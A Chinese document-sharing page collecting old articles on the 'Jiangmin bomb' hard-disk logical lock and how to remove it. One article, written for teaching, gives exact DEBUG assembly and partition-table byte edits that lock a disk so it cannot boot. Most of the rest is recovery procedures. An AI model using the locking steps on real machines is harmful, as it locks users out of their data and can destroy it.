“江民炸弹”的介绍与清除.doc_第1页
“江民炸弹”的介绍与清除.doc_第2页
“江民炸弹”的介绍与清除.doc_第3页
“江民炸弹”的介绍与清除.doc_第4页
“江民炸弹”的介绍与清除.doc_第5页
已阅读5页,还剩36页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

“江民炸弹”的介绍与清除 2002-3-21 浏览次数:1504次 江民炸弹是个更厉害更恐怖的恶意程序,是我见过的最狠毒的硬盘炸弹之一。为什么叫“江民”炸弹,我想大家也都知道吧?毕竟用过KV系列软件的人有很多,如果当年你曾中过KV杀毒软件的逻辑炸弹,那么对这个“江 民”炸弹你也不会陌生会有熟悉的感觉哦_! 软件解压缩后有4个文件,一个是说明文件readme.exe,一个是制作解锁盘用的文件,还有两个文件就是江 民炸弹了。它们的名字分别为Jmbs.arj、JMBOS. zip,其实它们都是一个文件压缩而成,只不过扩展名不同而已。如果你把它们解压会看到jmbs.exe文件,大小为1809字节。这个jmbs.exe就是江 民炸弹了。如果你不小心运行了它,机器的硬盘将会被死锁住,无论你用软驱还是光驱,都不能启动计算机,硬盘和报废了没什么区别!如果不懂得解法,基本上就只有买硬盘了!哈哈,恭喜恭喜,可以升级了。 软件原理:计算机在引导DOS系统时将会搜索所有逻辑盘的顺序,当DOS被引导时,首先要去找主引导扇区的分区表信息,位于硬盘的零头零柱面的第一个扇区的OBEH地址开始的地方,当分区信息开始的地方为80H时表示是主引导分区,其他的为扩展分区,主引导分区被定义为逻辑盘C盘,然后查找扩展分区的逻辑盘,被定义为D盘,以此类推找到E,F,G.“逻辑锁”就是在此下手,修改了正常的主引导分区记录将扩展分区的第一个逻辑盘指向自己,DOS在启动时查找到第一个逻辑盘后,查找下个逻辑盘总是找到是自己,这样一来就形成了死循环,这就是使用软驱,光驱,双硬盘都不能正常启动的原因。实际上这“逻辑锁”只是利用了DOS在启动时的一个小小缺陷,便令不少高手都束手无策。知道了“逻辑锁”的“上锁”原理,要解锁也就比较容易了。 解决办法: 方法一:把rescue.exe拷贝到一张空白的1.44MB软盘上,插入软驱,然后运行。显示“OK”之类的提示信息后,你就有了一张江 民炸弹的解锁盘,如果你发现里面一个文件也没有,不要惊讶,你没有做错什么,就是这个样子的。快试试吧,用这张恢复盘启动机子,如果出现unlock的字样,那就恭喜你,成功地解锁了!想当年,我用这张解锁盘给朋友解锁,可没少美餐啊!她们是怎么中的就不用我说了吧,嘻嘻_! 方法二:修改DOS启动文件 首先准备一张DOS6.22的系统盘,带上debug、pctools5.0、fdisk等工具。然后在一台正常的机器上,使用你熟悉的二进制编辑工具(debug、pctools5.0,或者是运行在Windows下的Ultraedit都行)修改软盘上的IO.SYS文件(修改前记住改该文件的属性为正常),具体是在这个文件里面搜索第一个“55aa”字符串,找到以后修改为任意其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被逻辑炸弹给恶意修改了,你无法用FDISK来删除和修改分区,而且仍无法用正常的启动盘启动系统,这时你可以用DEBUG来手工恢复。使用DEBUG手工修复硬盘步骤如下: a:debug -a -xxxx:100 mov ax,0201 读一个扇区的内容 -xxxx:103 mov bx,500设置一个缓存地址 -xxxx:106 mov cx,0001 设置第一个硬盘的硬盘指针 -xxxx:109 mov dx,0080 读零磁头 -xxxx:10c int 13硬盘中断 -xxxx:10e int 20 -xxxx:0110退出程序返回到指示符 -g运行 -d500查看运行后500地址的内容 这时候会发现地址6be开始的内容是硬盘分区的信息,发现此硬盘的扩展分区指向自己,这就使DOS或Windows启动时查找硬盘逻辑盘进去死循环,在DEBUG指示符下用E命令修改内存数据 具体如下: E6BE xx.0 xx.0 xx.0. . .55 AA 55 AA表示硬盘有效的标记,不要修改,xx0表示把以前的数据“xx”改成0,再用硬盘中断13把修改好的数据写入硬盘就可以了,具体如下: A:debug a 100 表示修改100地址的汇编指令 -xxxx:100 mov ax,0301 写硬盘一个扇区 -xxxx: 这里直接按回车 -g 运行 -q 退出 然后运行FDISK/MBR(重置硬盘引导扇区的引导程序),再重新启动电脑就行了。 怎么样?用这种方法处理够简单的吧?而且这种方法还有一个好处就是可以保住盘上的数据!如果你不需要保数据的话,还有更加简单的处理方法: 方法三:巧设BIOS,用DM解锁 大家知道DM软件是不依赖于主板BIOS的硬盘识别安装软件(所以在不能识别大硬盘的老主板上也可用DM来安装使用大容量硬盘)。就算在BIOS中将硬盘设为“NONE”,DM也可识别并处理硬盘。 首先你要找到和硬盘配套的DM软件(找JS要或去网上荡),然后把DM拷到一张系统盘上。接上被锁硬盘,开机,按住DEL键,进CMOS设置,将所有IDE硬盘设为“NONE”(这是关键所在!),保存设置,重启动,这时系统即可 “带锁”启动。启动后运行DM,你会发现DM可以绕过BIOS,识别出硬盘,选中该硬盘,分区格式化,就OK了。这么简单?不过这种方法的弱点是硬盘上的数据将全部丢失。 方法四:对硬盘进行热拔插 在加电热拔插之前应该先做好了一切的准备,并尽可能想一下会出现的问题,把硬盘的电源线先给拔松了一点,防止在热拔插时拔不出来,那就遭了,不过也不能太松不然会找不到硬盘的,找一张软盘启动盘,并插到软驱里,加电开机,看着熟悉的画面,心中尽管有些激动,但你的手可千万不要抖啊,不然硬盘烧掉就惨了!眼睛牢牢盯住你的显示器,软驱灯亮之前(就是要在DOS自举之前并且装入硬盘驱动后,)按下键盘上的“PAUSE”!再把硬盘上的电源线的给拔掉,然后就恢复暂定,一直到DOS启动完成出现DOS提示符的时候,这时你再把电源线给插到硬盘上去,这时如果硬盘没坏的话,就会发现已经可以用磁盘分区工具FDISK命令来查看硬盘的分区表了,不过没有这么简单,里面的分区表已经被逻辑炸弹给恶意修改了,只能查看不能修改也不能删除而且一团糟,用普通的办法还是不能解决的,此时只有用DEBUG来手工恢复了!具体方法同方法二。不过只能修复C盘也就是主引导分区,因为扩展分区已经修改了。恢复了以后,硬盘就可以用FDISK把主引导分区的其它空间分成扩展分区与逻辑盘了。一切OK! 方法五:利用分区表备份恢复 这是最简单的方法,在平时将硬盘的分区表备份一个(没有的话,找一个与之相同型号的硬盘的分区表也可以),万一硬盘被逻辑炸弹干掉了,用软盘都起不动的话,可以在BIOS里将硬盘设为“NONE”,启动后,将分区表的备份恢复回去,然后将硬盘的设置改回来,从新启动fdisk就可以了。以上的工作,不需要找什么特别的软件,一般的杀毒软件,如瑞星,KV3000都可以的。还有,如果有条件,最好装一块硬盘保护卡,可以对付绝大部分的病毒,至少,系统不会被破坏出了问题,冷启一下就可以了。像CIH这样直接修改BIOS数据的都可以恢复。 方法六:用硬盘逻辑锁解锁程序 如果硬盘被锁死的症结根源在于DOS中的IO.SYS文件,它包含LOADER、IO1、IO2、IO3四个模块,其中IO1中包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表读完誓不罢休。如果碰上分区表是循环的,它就只有死机了(通常硬盘分区表被锁住以后,形成一个闭合的循环链,IO.SYS从链头读起,试图读取所有分区的信息,从而形成死循环。如果修改IO.SYS文件,这样读的第十个扇区结尾处不是55 AA,就认为不是一个逻辑分区的主引导记录,停止读盘,跳出死循环链。我们用UltraEdit打开C:IO.SYS,查找“b9 01 00 cd 13”(MS Dos6.22只有一处,Win98有2处要修改),改为“b9 10 00 cd 13”。不过,这样操作后,这样即使硬盘分区表是完好的,启动后也不认硬盘。所以修改IO.SYS以后,如果要正常访问硬盘还要将IO.SYS恢复原状。)。很明显,这是DOS的脆弱性和不完备性。其实这也不能怪DOS,因为DOS为了获得硬盘使用权,就必需读分区表参数,而且DOS还约定驱动器号不能超过26,只不过没有考虑到此等循环分区表情形。一句话,机子不能启动不过是DOS操作系统造成的,如果另写一个操作系统,或许就能启动机子。当然这只是说个笑话。 明白了病因在于DOS,问题就好办了。DOS启动中不是要读硬盘分区表吗?我不让你读分区表甚至连硬盘都不让你读,不就可以顺利启动了。的确是这样的,开硬盘锁的程序实现方法就是基于这个思想形成的。当然,这只有从软盘启动着手了。 我们当然不用自己去动手编制这样的程序了,因为已经有好心的网友提供了这样的程序,以下为某网友编制的硬盘逻辑锁解锁程序,对付硬盘逻辑锁非常有用,下载地址: 0/wenxinjy/fix-io.rar,含源代码及目标程序,共1020字节。 使用方法:如果你的硬盘被老王的逻辑锁给锁住了,把这个小工具复制到你的引导盘上,运行它Modify一下,然后用它来引导被锁的机器。一切OK。注意修复硬盘后Restore回来。当然你运行它时,软驱要打开写保护啦。 好了,有了上面这些方法你就不用再害怕逻辑炸弹了。如果你不小心“中弹”,就试试上面这些方法吧。 再 论 制 硬 盘 逻 辑 锁 姜卓睿 雷必武 一、序言 由于教学工作需要,本人在参看了贵刊98年第4期硬盘逻辑锁技术研究及应用与99年第3期解开硬盘逻辑死锁的一种有效方法的文章之后,决定以同类方法尝试一下,结果未获得成功,又“苦于”没有KV300 L+ 版,不得不自己做一个硬盘逻辑锁。在制作过程中发现,仅仅只做循环链表是不够的,并不能锁住硬盘。以下是本人经过多次实验后,总结出的一套加锁和解锁的方法,(本文所述均在本机上获得通过!)以供大家参考。硬盘逻辑锁的原理请参见以上文章。 二、制作前的准备: 先将本硬盘(笔者使用的是Quantum SE 3.2G硬盘,C盘2.1G,D盘1.1G)的主引导程序(即0磁头0柱面1扇区的内容)备份到软盘中,这里是保存在软盘0磁头0柱面2扇区中,以便万一做不成功时,进行恢复。 C:DOSDEBUG -a 100 mov ax,201 mov bx,200 mov cx,1 mov dx,80 int 13 ;读硬盘0磁头0柱面1扇区的内容到ES:200处 mov ax,301 mov bx,200 mov cx,2 mov dx, 0 int 13 ;写ES:200处内容到软盘0磁头0柱面2扇区 int 3 -g=100 ;然后制作一张“启动盘1” : -a 200 mov ax,201 mov bx,2000 mov cx,2 mov dx,0 int 13 ;读软盘0磁头0柱面2扇区的内容到ES:2000处 jb 200 mov ax,301 mov bx,2000 mov cx,1 mov dx,80 int 13 jmp ffff:0000 -w 200 0 0 1 ;执行此命令之前插入上述软盘,将这一段起引导作用的程序写到软盘的0磁头0柱面1扇区,使之成为一张特殊的“启动盘1”。三、制作硬盘锁 我们先看一看硬盘分区表的信息(下述为实例,读者在操作中,显示的段地址不一定是1186): C:DOSDEBUG -a100 1186:0100 mov ax,201 1186:0103 mov bx,200 1186:0106 mov cx,1 1186:0109 mov dx,80 1186:010C int 13 1186:010E int 3 1186:010F -g=100 -d 3b0 L 50 1186:03B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 起始磁头号 起始柱面号(01的高2位并上00) 1186:03C0 01 00 06 7F BF 07 3F 00-00 00 C1 FB 3F 00 00 00 结束磁头号、扇区号、柱面号(格式同前) 起始扇区号(01的低6位) 1186:03D0 81 08 05 7F FF 0C 00 FC-3F 00 80 1D 20 00 00 00 1186:03E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 1186:03F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA -e 3c2 02 ; 将分区类型 06 改为 02,即XENIX,该字节含义如下: 0-无效分区 1-DOS 12位FAT 2-XENIX 4-DOS 16位FAT 分区容量32M -e3d0 01 00 ;将D区的起始扇区号和柱面号改为与C区相同的起始扇区号和柱面号,形成循环链表 -a 100 1186:0100 mov ax,301 1186:0103 -g=100 ;将改后的内容写入硬盘主引导扇区 -a 100 1186:0100 mov ax,201 1186:0103 -g=100 ;再次读出硬盘主引导扇区内容 -d 3b0 L 50 1186:03B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 1186:03C0 01 00 02 7F BF 07 3F 00-00 00 C1 FB 3F 00 00 00 1186:03D0 01 00 05 7F FF 0C 00 FC-3F 00 80 1D 20 00 00 00 1186:03E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 1186:03F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ;显示表明以上分区表内容已改好 -q ;退出DEBUG,重新启动系统,一切OK!Haha,软盘、硬盘都不能启动系统了! 四、症状说明: 1只修改C盘的分区类型,即将分区类型06改为02后,硬盘不能启动,A盘可以启动。 2只做循环链表,Win95/98不能启动,但DOS 6.22可正常启动,启动后将有相同容量、相同数据的24个逻辑驱动器(从C盘到Z盘),启动时提示如下错误信息: Warning:Logical drives past Z exist and will be ignored 笔者在多年前就做过循环分区链表,它对DOS 6.22 的启动可以说无效,但对付DOS 6.22 的FDISK命令很管用,一运行就“死机”(同 Win95/98 启动一样,因循环检查分区链表而呈死机状)。 3以上两条都修改后,C盘、A盘的DOS 6.22 都不能启动,但可用 A 盘的DOS 3.3启动,启动后可以运行FDISK命令,也可用DEBUG等工具修改分区表(无需顾及C盘容量是否超过33M)。 由此可见,硬盘逻辑锁只针对DOS高版本有效,对DOS 3.3根本不起作用,循环链表对Win95/98 的DOS 即已经有效。 五、解开硬盘锁的方法: 采用贵刊98年第4期硬盘逻辑锁技术研究及应用文中所述修改CMOS的方法也无法启动系统,也就无法解开此逻辑锁,需在另一台机器上制作一张“启动盘2”,具体过程如下: C:DOSDEBUG -a 100 mov ax,201 mov bx,2000 mov cx,1 mov dx,80 int 13 mov al,06 ; C的分区类型改为06 mov 21c2,al mov al,0 mov 21d2,al ; D的分区类型改为0 ,屏蔽其它分区 mov 21e2,al ; E的分区类型改为0 目的在于破坏循环链 mov 21f2,al ; F的分区类型改为0 mov ax,301 mov bx,2000 mov cx,1 mov dx,80 int 13 jmp ffff:0000 -w 100 0 0 1 ;将本段程序写到软盘的逻辑0扇区,使之成为引导程序 -q 用作好的“启动盘2”启动死锁机器,然后取出该“启动盘2”,再次开机切换到DOS 6.22系统,此时用 Norton 的 DISKEDIT.EXE 等工具或直接用 DEBUG 即可修复分区表。 如果按照前面讲的将原主引导备份到软盘物理第二扇,也可以用“启动盘1”恢复主引导扇区的内容,一启动即告成功恢复。 通讯地址: 430062 湖北大学经济学院 雷必武 E-mail: Or 对再论制作硬盘逻辑锁的补充 读了2000年第三期上再论制作硬盘逻辑锁一文,不禁使所我对硬盘逻辑锁问题再次产生了兴趣,于是对此进行了一些思考和研究。笔者曾在99年第三期上发表了一篇解开硬盘逻辑死锁的一种有效方法,文中提到了制作循环分区表可以锁住硬盘,后来一位远方的读者朋友打电话告诉我循环分区表没有锁住他的硬盘,WIN95仍可以正常启动。我不信,于是就在自己的机子上再次做试验,发现是可以锁住的,只要加上循环分区表后,WIN95和DOS6.22都不能启动了。但一位素不相识的朋友不远千里打来电话,说的应该也是事实。我于是又到系上机房找新买的机子做同样的实验,结果令我大吃一惊,确实有机子用循环分区表锁不住硬盘。对那些用循环分区表锁不住的硬盘,到底用什么招可以将其锁住?我一时也没有更好的办法,甚至猜测是不是新的机型已经不可能再被逻辑锁锁住了。由于我有其它一些事很忙,很久也没有再对这个问题进行思考。最近偶然看到这篇再论制作硬盘逻辑锁,立刻再次引起了我对硬盘逻辑锁强烈的兴趣,于是又对硬盘锁进行研究和试验。现将我的一些思考和试验结果告诉那些对硬盘锁很感兴趣的朋友们。以前的文章提到制作硬盘锁,只要加循环分区表就行了。再论制作硬盘逻辑锁一文提出了应该还要修改C盘的分区标志,如将硬盘0柱面0磁头1扇区位于1C2H处表示FAT16的0BH修改为DOS和WINDOWS都不能识别的XENIX分区标志02H。这的确是出了一个新招,对原来的硬盘锁是一个改进。该文还列举了只修改C盘分区标志、只做循环分区表和既修改分区标志又做循环分区表三种情况下机子启动时的症状。最后的结论是只有既修改分区标志又做循环分区表才能真正锁住硬盘。这种情况不尽全面。下面列举我所看到的一些现象。我的机子有两个硬盘,第一个硬盘装的是WIN95,第二个硬盘又独立装了一套WIN98。在WIN95下只制作循环分区表,DOS6.22和WIN95都不能再启动,启动后出现“Warning: Logical drivers past Z existed and will be ignored”就死机了。可是当我在CMOS中去掉第一硬盘,只留装WIN98的第二硬盘,同样在该盘上只制作循环分区表,发现用软盘的DOS6.22不能启动,但WIN98却可以启动,只是启动后有26个盘符,但都是原来C盘的内容。是不是凡WIN95就不能启动而WIN98就能启动呢?我发现也不是这样的。我有幸一个公共机房不同机子上试验,发现有的装WIN98的机子可以启动,有的又不能启动;有的装WIN95的机子能启动,有的还是不能启动。而且更怪的是,同样是DOS6.22,在有的机子上可以软盘启动,在有的机子上又出现跟我的机子用DOS启动一样的死机症状。通过这诸多的不同现象,说明只制作循环分区表,对锁住硬盘不一定有效。至于为什么对有的机子有效,而对有的机子无效,我猜测与操作系统和BIOS都有关系。不能启动的机子就不说了,凡能启动的机子,启动后无一例外有26个盘符,且各个盘都与原C盘一般大小,内容也完全一样。这倒很好解释,因为有循环分区表存在,操作系统不可能读到真正的D盘的内容,每个逻辑盘在物理上读到的都是原C盘的分区表和实际内容。但不管是在我的第一硬盘和第二硬盘上,还是在我所有试验过的多台不同机子上,都发现只要在循环分区表的基础上再修改C盘的分区标志,无一例外,不管是DOS6.22,还是WIN9X都不能再启动了。这说明,循环分区表加上修改C盘分区标志,确实可以锁住目前任何一个硬盘(安装DOS或WINDOWS系统的)。如何解释这一点呢?从前面那些加了循环分区表却可以启动的机子来看,启动后的机子无一例外都是读的第一个分区C盘的分区信息,说明C盘分区始终是读成功了的,且C盘是一个有效的逻辑盘。而这里关键是将C盘分区标志修改成了操作系统所不认识的了。如何破解应硬盘锁呢?笔者这次也找来98年第3期上的硬盘逻辑死锁技术研究及应用细细读了,并且也在不同机子上修改CMOS中硬盘参数的方法来试图解锁,都没有成功。我分析原因如下:修改CMOS中硬盘参数,确实是可以使D盘对应的柱面、扇区和磁头号发生改变,但我们制作的硬盘锁中,硬盘主引导扇区中D盘的起始物理柱面、扇区和磁头号已经被改写为与原C盘一样的参数了,因此读D盘的分区参数时实际上还是读的主引导扇区(主引导扇区的物理位置始终不变),并未去真正的D盘物理位置上读,因此修改CMOS中硬盘参数对解硬盘锁没有用处。当然,该文主要是制作一个带密码的逻辑锁,重点不在解锁,因此这里也不再多讨论它了。到底如何解锁呢?对一个分区表没有做任何备份的机子来说,最简单和最直接的方法是破除循环分区链就一定可以成功。笔者那篇在99年3期上发表的文章解开硬盘逻辑死锁的一种有效方法当然是可以的,但整个编制程序的原理和过程都显得复杂,这篇再论制作硬盘逻辑锁中“启动盘2”所采用的方法,不失为一种极简单的解决方法。但该方法还可以简化。该方法制作的启动软盘首先读出硬盘主引导扇区,然后修改C盘分区标志为06H,然后修改D盘、E盘、F盘的分区标志为DOS不认识的0H,并将修改后的结果写回硬盘主引导扇区,最后重新用DOS6.22启动机子就可以了。该方法中修改C盘分区标志是不必要的。因为破坏硬盘锁关键是破坏分区链表,只要修改D盘的分区标志为DOS所不认识的,就不会再往下再继续读分区表了,从而也就不会在读分区表时形成循环分区了。修改E盘、F盘分区标志也不必要,因为现在凡是安装DOS或WINDOWS的机子,分区表实际上都只占用了两栏,也就是只有C盘和D盘的分区信息,至于E盘的分区信息,却存放在D盘的物理起始柱面的0磁头1扇区中,主引导扇区中根本就没有,因此也就不用修改了。该文修改C盘分区标志为DOS6.22认识的06H,主要是想启动后能C盘可以使用,其实如果原来C盘使用的是FAT32文件系统,则其分区标志本来为0BH,现在即使将其修改为06H再用软盘DOS6.22启动,仍然无法使用C盘的,当敲入C盘盘符时,就会出现提示:Not ready reading driver C。因此此步实在不必要。要破坏循环分区表,只要DOS系统不认识D盘分区标志,循环分区自然就不起任何作用,机子当然也就可以启动了,不过得用软盘上的DOS启动。因此只需要在另一台机子上制作一张启动盘就可以了(如果你只有一台机子,只要在CMOS中挂起硬盘,然后从软盘启动,利用debug可以进行同样制作),方法如下:C:DOSDEBUG-a100mov ax, 201mov bx,2000 ;此处地址不能低于2000H。mov cx,1mov dx,80int 13mov al,02 ;将D盘分区标志修改为DOS所不认识的XENIX分区mov 21D2,almov ax,301int 13jmp ffff:0000 ; 调转重新启动机子w 100 0 0 1 ; 将该段程序写入软盘引导扇区-q有一点需要解释一下,修改硬盘主引导扇区的内容是读入内存2000H后进行操作的。其实这个2000H并不是唯一的,只要高于2000H且在内存范围内都可以,为什么要高于2000H呢?这是因为用该软盘启动机子时,这段程序是被加载于0000:7C00处执行的,此时它的段地址为0000,而0000:0000到0000:1FFF这段恰好存放的是1024个中断向量,如果将硬盘主引导扇区读入这段内存,将完全破坏中断向量,使紧跟后面的INT 13无法执行,机子无法启动。用该软盘启动机子的执行过程是这样的:软盘引导扇区的内容首先被读入内存0000:7C00处,然后开始执行该段程序,即读出硬盘主引导扇区内容并修改D盘分区标志为DOS不认识的XENIX分区标志02H,然后写回硬盘主引导扇区,并跳转到内存ffff:0000处执行,使机子重新启动。这时只需要拔出该软盘并插入一张DOS6.22的启动盘就可以启动机子。机子启动后,通常硬盘的逻辑盘都不认识,但使用软盘上的DEBUG或DISKEDIT工具都可以读出硬盘主引导扇区内容,然后加以修改,完成后重新启动机子就可以认识硬盘了。上述所有过程笔者都已在不同机子上做过试验,相信应该没有任何问题的。现在,从再论制作硬盘逻辑锁和上面的分析及简化的解决方法来看,曾经令人恐惧的硬盘锁已经变得可以采用极其简单的方法来解决了。这不能不说是大家长期共同研究讨论的结果 硬盘逻辑锁原理及解决不知道你是否曾碰到过bios里面能够检测到硬盘,但是你从软盘和硬盘都启动不了计算机的情形?也许这时候你就会认为是硬盘坏掉了,可实际上,很有可能是你的硬盘中了逻辑锁。 硬盘逻辑锁总共有三种,本质都是对硬盘的分区表作了修改,以前只是一些黑客程序使用它,开始大范围对计算机造成危害是在臭名昭著的KV3000反盗版事件的时候,那时江民公司为了打击盗版。在KV3000新版升级程序植入了一个黑客程序,当检测到用户使用了盗版的KV3000以后就将硬盘的分区表锁住,被称为“主动逻辑锁”,其实就是硬盘逻辑锁的一种,当时却使无数无辜的人受害,江民公司也因此被定罪。这是旧事不谈,下面我们就来介绍一下它的三种情况和解决方法。 首先我们来了解一下硬盘的分区表。硬盘分区表位于磁盘的0磁头0柱面1扇区,这个扇区从01BEH开始的64个字节就是分区表。分区表共64字节,分为4栏,每栏16个字节描述一个分区。如果用FDISK程序分区,那最多只用两栏,第一栏描述主引导分区,第二栏描述扩展分区。分区表的结构与各字节的含义如下: 00H标志活动字节。活动DOS分区为80H,其它为00H。 01H本分区逻辑0扇区所在的磁头号。 02H逻辑0扇区所在柱面中的扇区号。 03H逻辑0扇区所在的柱面号。 04H分区类型标志。 05H本分区最后一个扇区的磁头号。 06H最后一个扇区的扇区号。 07H最后一个柱面的柱面号。 08H硬盘上在本分区之前的扇区总数,用双字节表示。 0CH本分区的扇区总数,从逻辑0扇区计数,不含隐藏扇区,用双字节表示。 分区表的最后两个字节是它的有效标志,改变后将无法从硬盘启动,这就是第一种简单的锁住硬盘的方法。不过比较容易解决,只要从软盘启动就一切正常,启动后用Debug或Diskedit等软件将硬盘分区表中的标志恢复就可以了。第二种方法是修改分区参数,如果将分区参数全部变为0,则启动后由于找不到分区参数无法从硬盘启动,用启动盘从软盘启动后也不认硬盘,不过机器毕竟能够启动,我们可以在启动后用软盘里的debug等工具修复被改动的分区表参数,重新启动后就没问题了。 我们重点要讲的就是第三种,也就是上文提到的“主动逻辑锁”,它是因为分区表参数被修改成了一个死循环。正常启动时DOS接管硬盘后查找分区表,主引导分区被定义为C盘,然后查找逻辑盘,定义为D盘,然后是E、F、G,而这个主动逻辑锁就是将第一个逻辑盘(一般是D盘)的下一个分区指向它本身,不断读取下一个,其实就是读它自己,结果陷入死循环。因为DOS启动必须包含基本输入输出文件io.sys(我们在windows下也可以看到,位于C盘根目录下)。而它是有些固执的,启动以后非要把硬盘分区表读完然后接管不可,所以无论我们用什么启动,它一查找逻辑盘就死循环,我们就看到了硬盘灯常亮系统挂起的情况了。那么我们如何解开它呢?从根本上讲就是让io.sys不起作用或者在它起作用以前将分区表参数修改回来。 1、debug法。 用这种方法首先必须要能启动机器,我们可以在一台正常的电脑上修改启动软盘中的io.sys文件,查找到第一个“55aa”字符串,找到以后修改为任何其他数值,用这张启动软盘你就可以顺利地带着被锁的硬盘启动了。不过这时该硬盘的分区表已经不正常,所以我们无法用FDISK来删除和修改分区,而且仍然无法用正常的启动盘启动系统,这时可以用DEBUG来手工恢复。具体命令如下: a:debug -a -?:100 mov ax,0201(读一扇区内容) -?:103 mov bx,500(设置一缓存地址) -?:106 mov cx,0001(设置第一硬盘的硬盘指针) -?:109 mov dx,0080(读零磁头) -?:10c int 13 (硬盘中断) -?:10e int 20 -?:0110 回车 (注:-?各硬盘不相同,跟后面的:1?都是自动显示的,我们要输入的只是其后的内容) -g -d500 (查看运行后缓存地址500的内容,这时候我们会发现地址6be开始的内容就是硬盘分区表信息,如果硬盘的扩展分区正是指向自己,那么DOS或WINDOWS启动时就会因查找逻辑分区而陷入死循环。)在DEBUG指示符下继续修改内存数据: E6BE ?.0 ?.0 ?.0 55 AA 55 AA是硬盘有效的标志,不要修改,?.0表示把以前的数据“?”改成了0,再用硬盘中断13把修改好的数据写入硬盘就可以了: A:debug a 100 (表示修改100地址的汇编指令) -?:100 mov ax,0301 (写硬盘一个扇区) -?: 回车 -g (运行) -q (退出) 退出后运行fdisk/mbr来重置硬盘引导程序,重新启动即可。 这种方法虽然麻烦一点,但是它能够恢复硬盘分区表,也就是说恢复以后硬盘中的数据也不会丢失。而以下方法虽然更加方便,但是要么硬盘中的数据难保,要么有一定危险性。 2、外挂软件法 这种方法原理都是绕过bios对硬盘的检测而直接用一些能够自己查找硬盘的软件来控制硬盘。 首先是DM,现在每一个硬盘厂商都有自己的DiskManager程序,而且都能放进一张软盘里,你可以下载一个使用,如果不清楚自己硬盘的牌子,也可以用IBM出的DM万用版,不过它对现在32G以上的大硬盘支持不好。我们先在bios里面将硬盘所在的IDE口设置为none,(如果你不知道哪个是,全部设为none也可以),然后用启动盘启动系统,启动完成后将软盘取出,放入装有DM软件的软盘,运行DM,它会检测到你的病硬盘的存在,然后将它重新分区就搞定了。DM具体用法比较简单,就不详细说了,不过对E文不太好的朋友可能有些困难,请教身边的高手吧。 我们还可以使用低格软件,也是每一种硬盘都有自己的低格软件,但也有通用的Lformat程序(只有30多k),前面的做法相同,还是在bios里面屏蔽掉硬盘,用启动盘启动,然后换软盘运行低格程序对硬盘进行低级格式化,由于分区表只在硬盘最前列部分,所以估摸着格过前面的分区表部分就可以停止了,然后重新启动在bios里面将硬盘设出来,就可以像一块新的硬盘一样对它进行分区等操作了。 3、热插拔 这是最危险的一种方法,很有可能将你的硬盘烧毁,所以请谨慎。具体做法很简单,首先将硬盘的电源线拔掉,然后软盘启动系统,启动完成后再将硬盘的电源线插上,这时候系统就能够控制硬盘了,可以对它进行分区,恢复分区表等操作。我有一个菜鸟朋友就是在热插拔硬盘3次以后搞定的。不过此种方法存在危险,强烈不推荐使用,如因此损坏,本人概不负责。 其实最好的情况是你有分区表备份,那恢复起来就比较容易了,而且数据也不会丢失。 解开硬盘逻辑锁方法介绍三种有效的逻辑锁解锁方法(1)、使用DM之类的软件对硬盘进行低级格式化,这种方法不能保留硬盘数据。开机进入BIOS设置,将带有逻辑锁的硬盘设置为None。重启,使用软盘启动到DOS环境,运行事先复制到另一张软盘上的DM程序,它可以正确识别被设置为None的硬盘,此时进行低级格式化即可(只需低格开始几个磁道,即格式化开始一会儿就停止)。这样低级格式化后的硬盘就可以正常启动、重新分区和格式化了。(2)、通过汇编语句修改分区信息,这种方法稍微复杂,但可以保留部分或全部数据。首先准备一张DOS启动盘,将Debug和Fdisk程序复制到上面。在其他电脑上,将软盘上的IO.SYS文件的只读属性取消,并使用二进制编辑工具(DOS环境的Debug和PCtools,Windws环境的Ultraedit)进行修改,搜索第一个55AA字符串,改为任意字符(如66BB)。接下来用修改后的软盘启致力电脑了。启动后,通过Debug程序手工修改被修改的分区表,如下:A:debug-a-xxxx: 100 mov ax, 0201 (只读一个扇区的内容)-xxxx: 103 mov bx, 500 (设置一个缓存地址)-xxxx: 106 mov cx, 0001 (设置第一个硬盘的逻辑指针)-xxxx: 109 mov dx, 0080 (读零磁头)-xxxx: 10c int 13 (硬盘中断)-xxxx: 10e int 20 -xxxx: 0110 (退出程序)-g (运行)-d 500 (查看地址为500的寄存器) 从地址6BE开始的内容是硬盘分区的信息,使用E命令修改内存数据:E6BE . 0 .0 .0 55 AA把数据改成0,再用硬盘中断13把修改好的数据写入硬盘:Adebug-a 100 (要修改的寄存器地址为100)-xxxx: 100 mov ax, 0301 (写硬盘一个扇区)-xxxx: (直接按回车)-g (运行)-q (退出)最后,执行Fdisk/MBR命令,重写硬盘引导区的引导程序,重启电脑。第三种方法:制作一张“解锁”软盘。首先将故障硬盘卸下,使用带有Debug程序的DOS启动盘启动系统,执行Debug命令,然后将启动盘取出,放入一张已格式化的空白软盘,在Debug环境中进行如下操作:-A 0100XXXX: 0100 XOR AX, AXXXXX: 0102 PUSH AXXXXX: 0103 POP DSXXXX: 0104 PUSH AXXXXX: 0105 POP ESXXXX: 0106 MOV CX, 100XXXX: 0109 MOV BX, 7C00XXXX: 010C MOV Word PTR BX, 00XXXX: 0110 INC BXXXXX: 0111 INC BXXXXX: 0112 LOOP 10CXXXX: 0114 MOV AX, 0301XXXX: 0117 MOV CX, 0001XXXX: 011A MOV DX, 80XXXX: 011D MOV BX 7C00XXXX: 0120 INT 13XXXX: 0122 JMP FFFF:0000XXXX: 0127 -W 100 0 0 1Q接下来,并闭系统。将故障硬盘单独作为主盘安装好,使用制作刚制作的软盘启动系统,系统会自动修复,然后重启。将软盘取出,换上DOS启动盘,启动到DOS环境。此时,硬盘逻辑锁已经解除,但无法使用,要进行重新分区和格式化。如果要保存硬盘上的数据,可以使用KV300等工具进行分区扫描恢复操作。高手速成 给硬盘加逻辑锁的方法和解法自从硬盘逻辑锁或逻辑炸弹出现以来,可以说是祸害无穷。只要是硬盘被锁上,叫天天不灵,叫地地不应,你是干着急也没有办法,自己辛辛苦苦整理的资料就不能使用了。 